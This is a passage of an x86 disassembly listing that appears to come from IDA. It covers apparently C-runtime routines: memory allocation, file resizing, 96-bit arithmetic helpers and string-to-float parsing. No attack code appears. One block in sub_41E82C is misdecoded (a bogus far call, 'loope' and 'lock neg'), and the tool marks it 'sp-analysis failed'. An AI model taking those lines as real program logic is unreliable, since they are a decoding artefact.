					; sub_41E6CE+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	ds:dword_469724


loc_41E74F:				; CODE XREF: sub_41E6CE+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41E753:				; CODE XREF: sub_41E6CE+1Cj
					; sub_41E6CE+33j
		xor	eax, eax
		jmp	short loc_41E74F
sub_41E6CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E757	proc near		; CODE XREF: sub_41D0B6+22p
					; sub_41D0B6+3Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		imul	esi, [esp+0Ch+arg_4]
		cmp	esi, 0FFFFFFE0h
		mov	ebx, esi
		ja	short loc_41E777
		test	esi, esi
		jnz	short loc_41E771
		push	1
		pop	esi


loc_41E771:				; CODE XREF: sub_41E757+15j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41E777:				; CODE XREF: sub_41E757+11j
					; sub_41E757+65j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41E7A8
		cmp	ebx, ds:dword_437F5C
		ja	short loc_41E793
		push	ebx
		call	sub_418E33
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_41E7BE


loc_41E793:				; CODE XREF: sub_41E757+2Dj
		push	esi
		push	8
		push	ds:dword_46AAC0
		call	ds:dword_42114C
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41E7CA


loc_41E7A8:				; CODE XREF: sub_41E757+25j
		cmp	ds:dword_4694C4, 0
		jz	short loc_41E7CA
		push	esi
		call	sub_418A48
		test	eax, eax
		pop	ecx
		jz	short loc_41E7D0
		jmp	short loc_41E777
; ---------------------------------------------------------------------------


loc_41E7BE:				; CODE XREF: sub_41E757+3Aj
		push	ebx
		push	0
		push	edi
		call	sub_415550
		add	esp, 0Ch


loc_41E7CA:				; CODE XREF: sub_41E757+4Fj
					; sub_41E757+58j
		mov	eax, edi


loc_41E7CC:				; CODE XREF: sub_41E757+7Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41E7D0:				; CODE XREF: sub_41E757+63j
		xor	eax, eax
		jmp	short loc_41E7CC
sub_41E757	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D15B


loc_41E7D4:				; CODE XREF: sub_41D15B+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	ds:dword_46A760, esi
		jle	short loc_41E827


loc_41E7E3:				; CODE XREF: sub_41D15B+16CAj
		mov	eax, ds:dword_469750
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41E81E
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_41E802
		push	eax
		call	sub_415B20
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E802
		inc	edi


loc_41E802:				; CODE XREF: sub_41D15B+1698j
					; sub_41D15B+16A4j
		cmp	esi, 14h
		jl	short loc_41E81E
		mov	eax, ds:dword_469750
		push	dword ptr [eax+esi*4]
		call	sub_415E1D
		mov	eax, ds:dword_469750
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_41E81E:				; CODE XREF: sub_41D15B+1692j
					; sub_41D15B+16AAj
		inc	esi
		cmp	esi, ds:dword_46A760
		jl	short loc_41E7E3


loc_41E827:				; CODE XREF: sub_41D15B+1686j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_41D15B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E82C	proc near		; CODE XREF: sub_41D53A+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_415D50
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, ds:dword_46A880
		jnb	loc_41E961
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, ds:dword_46A780[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_41E961
		push	1
		push	esi
		push	ebx
		call	sub_41BB5F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_41E96B
		push	2
		push	esi
		push	ebx
		call	sub_41BB5F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_41E96B
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41E90E
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_415550
		push	8000h
		push	ebx


loc_41E8B7:				; CODE XREF: sub_41E82C+FEj
		call	sub_41F466
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_41E8C2:				; CODE XREF: sub_41E82C+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_41E8CD
		mov	eax, edi


loc_41E8CD:				; CODE XREF: sub_41E82C+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_41C40A
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41E8EB
		sub	edi, eax
		test	edi, edi
		jle	short loc_41E901
		jmp	short loc_41E8C2
; ---------------------------------------------------------------------------


loc_41E8EB:				; CODE XREF: sub_41E82C+B5j
		cmp	ds:dword_469468, 5
		jnz	short loc_41E8FE
		mov	ds:dword_469464, 0Dh


loc_41E8FE:				; CODE XREF: sub_41E82C+C6j
		or	esi, 0FFFFFFFFh


loc_41E901:				; CODE XREF: sub_41E82C+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_41F466
		pop	ecx
		pop	ecx
		jmp	short loc_41E94E
; ---------------------------------------------------------------------------


loc_41E90E:				; CODE XREF: sub_41E82C+71j
		jge	short loc_41E94E
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_41BB5F
		push	ebx
		call	sub_41D4A6
		add	esp, 10h
		push	eax
		call	near ptr 6CF1F6BAh
		loope	loc_41E8B7
		lock neg esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41E94E
		mov	ds:dword_469464, 0Dh
		call	ds:dword_421088
		mov	ds:dword_469468, eax


loc_41E94E:				; CODE XREF: sub_41E82C+E0j
					; sub_41E82C:loc_41E90Ej ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_41BB5F
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_41E96E
; ---------------------------------------------------------------------------


loc_41E961:				; CODE XREF: sub_41E82C+1Aj
					; sub_41E82C+36j
		mov	ds:dword_469464, 9


loc_41E96B:				; CODE XREF: sub_41E82C+4Ej
					; sub_41E82C+63j
		or	eax, 0FFFFFFFFh


loc_41E96E:				; CODE XREF: sub_41E82C+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_41E82C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41E972	proc near		; CODE XREF: sub_41D9A5+2Bp
					; sub_41D9A5+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_41E988
		cmp	ecx, esi
		jnb	short loc_41E98B


loc_41E988:				; CODE XREF: sub_41E972+10j
		push	1
		pop	eax


loc_41E98B:				; CODE XREF: sub_41E972+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_41E972	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E993	proc near		; CODE XREF: sub_41EA4C+40p
					; sub_41EA4C+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_41E972
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41E9C5
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_41E972
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41E9C5
		inc	dword ptr [esi+8]


loc_41E9C5:				; CODE XREF: sub_41E993+19j
					; sub_41E993+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_41E972
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41E9DD
		inc	dword ptr [esi+8]


loc_41E9DD:				; CODE XREF: sub_41E993+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_41E972
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_41E993	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E9F1	proc near		; CODE XREF: sub_41EA4C+30p
					; sub_41EA4C+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_41E9F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EA1F	proc near		; CODE XREF: sub_41EFE4+1C8p
					; sub_41F4DC+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_41EA1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EA4C	proc near		; CODE XREF: sub_41EB13+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_41EAC0
		push	edi
		mov	[ebp+arg_8], eax


loc_41EA73:				; CODE XREF: sub_41EA4C+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_41E9F1
		push	ebx
		call	sub_41E9F1
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_41E993
		push	ebx
		call	sub_41E9F1
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_41E993
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_41EA73
		xor	edx, edx
		pop	edi


loc_41EAC0:				; CODE XREF: sub_41EA4C+21j
					; sub_41EA4C+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_41EAED
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_41EAC0
; ---------------------------------------------------------------------------


loc_41EAED:				; CODE XREF: sub_41EA4C+77j
		mov	esi, 8000h


loc_41EAF2:				; CODE XREF: sub_41EA4C+B9j
		test	[ebx+8], esi
		jnz	short loc_41EB07
		push	ebx
		call	sub_41E9F1
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_41EAF2
; ---------------------------------------------------------------------------


loc_41EB07:				; CODE XREF: sub_41EA4C+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_41EA4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB13	proc near		; CODE XREF: sub_41DCEE+17p
					; sub_41DD1B+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_41EB4E:				; CODE XREF: sub_41EB13+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_41EB64
		cmp	cl, 9
		jz	short loc_41EB64
		cmp	cl, 0Ah
		jz	short loc_41EB64
		cmp	cl, 0Dh
		jnz	short loc_41EB67


loc_41EB64:				; CODE XREF: sub_41EB13+40j
					; sub_41EB13+45j ...
		inc	edi
		jmp	short loc_41EB4E
; ---------------------------------------------------------------------------


loc_41EB67:				; CODE XREF: sub_41EB13+4Fj
		push	4
		pop	esi


loc_41EB6A:				; CODE XREF: sub_41EB13+AEj
					; sub_41EB13+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_41EDED	; default
					; jumptable 0041EB76 case 10
		jmp	ds:off_41EFB4[eax*4] ; switch jump


loc_41EB7D:				; DATA XREF: seg000:off_41EFB4o
		cmp	bl, 31h		; jumptable 0041EB76 case 0
		jl	short loc_41EB8E
		cmp	bl, 39h
		jg	short loc_41EB8E


loc_41EB87:				; CODE XREF: sub_41EB13+C4j
					; sub_41EB13+118j
		push	3
		jmp	loc_41EDAB
; ---------------------------------------------------------------------------


loc_41EB8E:				; CODE XREF: sub_41EB13+6Dj
					; sub_41EB13+72j
		cmp	bl, ds:byte_437F50
		jnz	short loc_41EB9D


loc_41EB96:				; CODE XREF: sub_41EB13+124j
		push	5
		jmp	loc_41EDE3
; ---------------------------------------------------------------------------


loc_41EB9D:				; CODE XREF: sub_41EB13+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41EBC3
		dec	eax
		dec	eax
		jz	short loc_41EBB7
		sub	eax, 3
		jnz	loc_41EE86
		jmp	loc_41EC46
; ---------------------------------------------------------------------------


loc_41EBB7:				; CODE XREF: sub_41EB13+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_41EB6A
; ---------------------------------------------------------------------------


loc_41EBC3:				; CODE XREF: sub_41EB13+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_41EB6A
; ---------------------------------------------------------------------------


loc_41EBCC:				; CODE XREF: sub_41EB13+63j
					; DATA XREF: seg000:off_41EFB4o
		cmp	bl, 31h		; jumptable 0041EB76 case 1
		mov	[ebp+var_10], edx
		jl	short loc_41EBD9
		cmp	bl, 39h
		jle	short loc_41EB87


loc_41EBD9:				; CODE XREF: sub_41EB13+BFj
		cmp	bl, ds:byte_437F50
		jz	loc_41ECA1
		cmp	bl, 2Bh
		jz	short loc_41EC1B
		cmp	bl, 2Dh
		jz	short loc_41EC1B
		cmp	bl, 30h
		jz	short loc_41EC46


loc_41EBF4:				; CODE XREF: sub_41EB13+207j
		cmp	bl, 43h
		jle	loc_41EE86
		cmp	bl, 45h
		jle	short loc_41EC14
		cmp	bl, 63h
		jle	loc_41EE86
		cmp	bl, 65h
		jg	loc_41EE86


loc_41EC14:				; CODE XREF: sub_41EB13+EDj
		push	6
		jmp	loc_41EDE3
; ---------------------------------------------------------------------------


loc_41EC1B:				; CODE XREF: sub_41EB13+D5j
					; sub_41EB13+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_41EDE3
; ---------------------------------------------------------------------------


loc_41EC23:				; CODE XREF: sub_41EB13+63j
					; DATA XREF: seg000:off_41EFB4o
		cmp	bl, 31h		; jumptable 0041EB76 case 2
		jl	short loc_41EC31
		cmp	bl, 39h
		jle	loc_41EB87


loc_41EC31:				; CODE XREF: sub_41EB13+113j
		cmp	bl, ds:byte_437F50
		jz	loc_41EB96
		cmp	bl, 30h
		jnz	loc_41EDFB


loc_41EC46:				; CODE XREF: sub_41EB13+9Fj
					; sub_41EB13+DFj
		mov	eax, edx
		jmp	loc_41EB6A
; ---------------------------------------------------------------------------


loc_41EC4D:				; CODE XREF: sub_41EB13+63j
					; DATA XREF: seg000:off_41EFB4o
		mov	[ebp+var_10], edx ; jumptable 0041EB76 case 3


loc_41EC50:				; CODE XREF: sub_41EB13+184j
		cmp	ds:dword_437F4C, edx
		jle	short loc_41EC69
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_418536
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41EC77
; ---------------------------------------------------------------------------


loc_41EC69:				; CODE XREF: sub_41EB13+143j
		mov	ecx, ds:off_437D40
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41EC77:				; CODE XREF: sub_41EB13+154j
		test	eax, eax
		jz	short loc_41EC99
		cmp	[ebp+var_4], 19h
		jnb	short loc_41EC91
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_41EC94
; ---------------------------------------------------------------------------


loc_41EC91:				; CODE XREF: sub_41EB13+16Cj
		inc	[ebp+var_8]


loc_41EC94:				; CODE XREF: sub_41EB13+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41EC50
; ---------------------------------------------------------------------------


loc_41EC99:				; CODE XREF: sub_41EB13+166j
		cmp	bl, ds:byte_437F50
		jnz	short loc_41ED08


loc_41ECA1:				; CODE XREF: sub_41EB13+CCj
		mov	eax, esi
		jmp	loc_41EB6A
; ---------------------------------------------------------------------------


loc_41ECA8:				; CODE XREF: sub_41EB13+63j
					; DATA XREF: seg000:off_41EFB4o
		cmp	[ebp+var_4], 0	; jumptable 0041EB76 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_41ECC1


loc_41ECB4:				; CODE XREF: sub_41EB13+1ACj
		cmp	bl, 30h
		jnz	short loc_41ECC1
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41ECB4
; ---------------------------------------------------------------------------


loc_41ECC1:				; CODE XREF: sub_41EB13+19Fj
					; sub_41EB13+1A4j ...
		cmp	ds:dword_437F4C, edx
		jle	short loc_41ECDA
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_418536
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41ECE8
; ---------------------------------------------------------------------------


loc_41ECDA:				; CODE XREF: sub_41EB13+1B4j
		mov	ecx, ds:off_437D40
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41ECE8:				; CODE XREF: sub_41EB13+1C5j
		test	eax, eax
		jz	short loc_41ED08
		cmp	[ebp+var_4], 19h
		jnb	short loc_41ED03
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_41ED03:				; CODE XREF: sub_41EB13+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41ECC1
; ---------------------------------------------------------------------------


loc_41ED08:				; CODE XREF: sub_41EB13+18Cj
					; sub_41EB13+1D7j
		cmp	bl, 2Bh
		jz	loc_41EC1B
		cmp	bl, 2Dh
		jz	loc_41EC1B
		jmp	loc_41EBF4
; ---------------------------------------------------------------------------


loc_41ED1F:				; CODE XREF: sub_41EB13+63j
					; DATA XREF: seg000:off_41EFB4o
		cmp	ds:dword_437F4C, edx ; jumptable 0041EB76 case 5
		mov	[ebp+var_24], edx
		jle	short loc_41ED3B
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_418536
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41ED49
; ---------------------------------------------------------------------------


loc_41ED3B:				; CODE XREF: sub_41EB13+215j
		mov	ecx, ds:off_437D40
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41ED49:				; CODE XREF: sub_41EB13+226j
		test	eax, eax
		jz	loc_41EDFB
		mov	eax, esi
		jmp	short loc_41EDAC
; ---------------------------------------------------------------------------


loc_41ED55:				; CODE XREF: sub_41EB13+63j
					; DATA XREF: seg000:off_41EFB4o
		lea	ecx, [edi-2]	; jumptable 0041EB76 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_41ED65
		cmp	bl, 39h
		jle	short loc_41EDA9


loc_41ED65:				; CODE XREF: sub_41EB13+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41EDE1
		dec	eax
		dec	eax
		jz	short loc_41EDD5
		sub	eax, 3
		jnz	loc_41EE89


loc_41ED7A:				; CODE XREF: sub_41EB13+2A4j
		push	8
		jmp	short loc_41EDE3
; ---------------------------------------------------------------------------


loc_41ED7E:				; CODE XREF: sub_41EB13+63j
					; DATA XREF: seg000:off_41EFB4o
		mov	[ebp+var_20], edx ; jumptable 0041EB76 case 8


loc_41ED81:				; CODE XREF: sub_41EB13+276j
		cmp	bl, 30h
		jnz	short loc_41ED8B
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41ED81
; ---------------------------------------------------------------------------


loc_41ED8B:				; CODE XREF: sub_41EB13+271j
		cmp	bl, 31h
		jl	loc_41EE86
		cmp	bl, 39h
		jg	loc_41EE86
		jmp	short loc_41EDA9
; ---------------------------------------------------------------------------


loc_41ED9F:				; CODE XREF: sub_41EB13+63j
					; DATA XREF: seg000:off_41EFB4o
		cmp	bl, 31h		; jumptable 0041EB76 case 7
		jl	short loc_41EDB2
		cmp	bl, 39h
		jg	short loc_41EDB2


loc_41EDA9:				; CODE XREF: sub_41EB13+250j
					; sub_41EB13+28Aj
		push	9


loc_41EDAB:				; CODE XREF: sub_41EB13+76j
		pop	eax


loc_41EDAC:				; CODE XREF: sub_41EB13+240j
		dec	edi
		jmp	loc_41EB6A
; ---------------------------------------------------------------------------


loc_41EDB2:				; CODE XREF: sub_41EB13+28Fj
					; sub_41EB13+294j
		cmp	bl, 30h
		jnz	short loc_41EDFB
		jmp	short loc_41ED7A
; ---------------------------------------------------------------------------


loc_41EDB9:				; CODE XREF: sub_41EB13+63j
					; DATA XREF: seg000:off_41EFB4o
		cmp	[ebp+arg_18], 0	; jumptable 0041EB76 case 11
		jz	short loc_41EDE9
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_41EDE1
		dec	eax
		dec	eax
		jnz	loc_41EE89


loc_41EDD5:				; CODE XREF: sub_41EB13+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_41EB6A
; ---------------------------------------------------------------------------


loc_41EDE1:				; CODE XREF: sub_41EB13+258j
					; sub_41EB13+2B8j
		push	7


loc_41EDE3:				; CODE XREF: sub_41EB13+85j
					; sub_41EB13+103j ...
		pop	eax
		jmp	loc_41EB6A
; ---------------------------------------------------------------------------


loc_41EDE9:				; CODE XREF: sub_41EB13+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_41EDED:				; CODE XREF: sub_41EB13+5Dj
					; sub_41EB13+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 0041EB76 case 10
		jz	loc_41EE8B
		jmp	loc_41EB6A
; ---------------------------------------------------------------------------


loc_41EDFB:				; CODE XREF: sub_41EB13+12Dj
					; sub_41EB13+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_41EE8B
; ---------------------------------------------------------------------------


loc_41EE03:				; CODE XREF: sub_41EB13+63j
					; DATA XREF: seg000:off_41EFB4o
		mov	[ebp+var_20], 1	; jumptable 0041EB76 case 9
		xor	esi, esi


loc_41EE0C:				; CODE XREF: sub_41EB13+339j
		cmp	ds:dword_437F4C, 1
		jle	short loc_41EE24
		movzx	eax, bl
		push	4
		push	eax
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_41EE33
; ---------------------------------------------------------------------------


loc_41EE24:				; CODE XREF: sub_41EB13+300j
		mov	ecx, ds:off_437D40
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41EE33:				; CODE XREF: sub_41EB13+30Fj
		test	eax, eax
		jz	short loc_41EE53
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_41EE4E
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41EE0C
; ---------------------------------------------------------------------------


loc_41EE4E:				; CODE XREF: sub_41EB13+334j
		mov	esi, 1451h


loc_41EE53:				; CODE XREF: sub_41EB13+322j
		mov	[ebp+var_1C], esi


loc_41EE56:				; CODE XREF: sub_41EB13+371j
		cmp	ds:dword_437F4C, 1
		jle	short loc_41EE6E
		movzx	eax, bl
		push	4
		push	eax
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_41EE7D
; ---------------------------------------------------------------------------


loc_41EE6E:				; CODE XREF: sub_41EB13+34Aj
		mov	ecx, ds:off_437D40
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41EE7D:				; CODE XREF: sub_41EB13+359j
		test	eax, eax
		jz	short loc_41EE86
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41EE56
; ---------------------------------------------------------------------------


loc_41EE86:				; CODE XREF: sub_41EB13+99j
					; sub_41EB13+E4j ...
		dec	edi
		jmp	short loc_41EE8B
; ---------------------------------------------------------------------------


loc_41EE89:				; CODE XREF: sub_41EB13+261j
					; sub_41EB13+2BCj
		mov	edi, ecx


loc_41EE8B:				; CODE XREF: sub_41EB13+2DDj
					; sub_41EB13+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_41EF73
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_41EEB7
		cmp	[ebp+var_45], 5
		jl	short loc_41EEAB
		inc	[ebp+var_45]


loc_41EEAB:				; CODE XREF: sub_41EB13+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_41EEBA
; ---------------------------------------------------------------------------


loc_41EEB7:				; CODE XREF: sub_41EB13+38Dj
		mov	eax, [ebp+var_C]


loc_41EEBA:				; CODE XREF: sub_41EB13+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_41EF69


loc_41EEC4:				; CODE XREF: sub_41EB13+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41EED2
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_41EEC4
; ---------------------------------------------------------------------------


loc_41EED2:				; CODE XREF: sub_41EB13+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_41EA4C
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_41EEF1
		neg	eax


loc_41EEF1:				; CODE XREF: sub_41EB13+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_41EEFC
		add	eax, [ebp+arg_10]


loc_41EEFC:				; CODE XREF: sub_41EB13+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_41EF04
		sub	eax, [ebp+arg_14]


loc_41EF04:				; CODE XREF: sub_41EB13+3ECj
		cmp	eax, 1450h
		jle	short loc_41EF3B
		mov	[ebp+var_2C], 1


loc_41EF12:				; CODE XREF: sub_41EB13+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
